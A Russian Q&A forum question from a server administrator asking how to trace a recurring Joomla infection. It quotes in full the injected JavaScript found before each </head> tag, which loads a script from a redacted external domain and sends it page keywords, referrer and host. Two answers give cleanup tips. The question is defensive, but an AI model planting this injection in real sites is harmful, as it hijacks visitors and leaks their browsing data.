Задать вопрос
Pascal_tgn
@Pascal_tgn

Вирус на веб-хостинге (Debian+Apache). Как найти источник заражения?

Добрый час!

Проблема такова: имеется Debian сервер для веб хостинга, на нём установлен Plesk Webhost Edition, все разрешения и полномочия по подпискам проверены много раз. Один из клиентов взял сразу много места под большое количество сайтов. Некоторые из них он перенёс со своего старого хостинга. Спустя пару недель - сервер стал попадать в спам-листы. При беглом осмотре, заметил, что именно его сайты при загрузке пытаются получить информацию со сторонних ресурсов, на которые сайт никак не мог ссылаться изначально (бывали даже домены .hk .jp и множество других).
Все его сайты сделаны на Joomla, в подавляющем большинстве шаблонов поражён файл index.php. Строка, приведённая ниже, была перед каждым тегом </head>. После удаления данной строки, она появляется там вновь спустя некоторое время (до 24 часов), причём только на сайтах этого пользователя, тоесть к другим сайтам зловред доступа не имеет. В cron никаких задач от имени пользователя нет.
Для поимки с поличным установил incron и поставил его мониторить нужные файлы на события IN_OPEN. Триггер события вызывал скрипт, записывающий результат lsof | grep "путь к папке с сайтами" в лог-файл.
На следующий день в логе появились записи о том, что файлы для изменения открывались от имени пользователя процессом php5-cgi.
Собственно, как найти инициатора процесса (задачу/порт/процесс), который запускает php5-cgi и как узнать, откуда именно берётся код вируса?

Код, найденный в .php файлах (домен удалён):
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://---domain---/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://---domain---/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>


Заранее огромное спасибо за помощь!
  • Вопрос задан
  • 709 просмотров
Подписаться 1 Оценить Комментировать
Помогут разобраться в теме Все курсы
  • Skillfactory
    Профессия Fullstack веб-разработчик на JavaScript и PHP
    20 месяцев
    Далее
  • Хекслет
    PHP-разработчик
    10 месяцев
    Далее
  • Нетология
    Веб-разработчик с нуля: профессия с выбором специализации
    14 месяцев
    Далее
Решения вопроса 1
tigroid3
@tigroid3
PHP, YII2, SQL, Postgres, Docker, SPHINX, GIT
https://www.revisium.com/ai/
много сайтов полечил с помощью этого сервиса, может и тебе поможет
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
ThunderCat
@ThunderCat Куратор тега PHP
{PHP, MySql, HTML, JS, CSS} developer
Пройтись по всем папкам ресурсов жумлы, выискать пхп файлы, проверить на наличие в них eval. если содержат - переименовать. проверить работу сайта. И есть куча бесплатных антивирусов для хостингов. Но не все работают, надо иногда ручками.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
FoodSoul Калининград
от 180 000 до 250 000 ₽
IT-Spirit Москва
от 230 000 до 320 000 ₽
от 200 000 до 290 000 ₽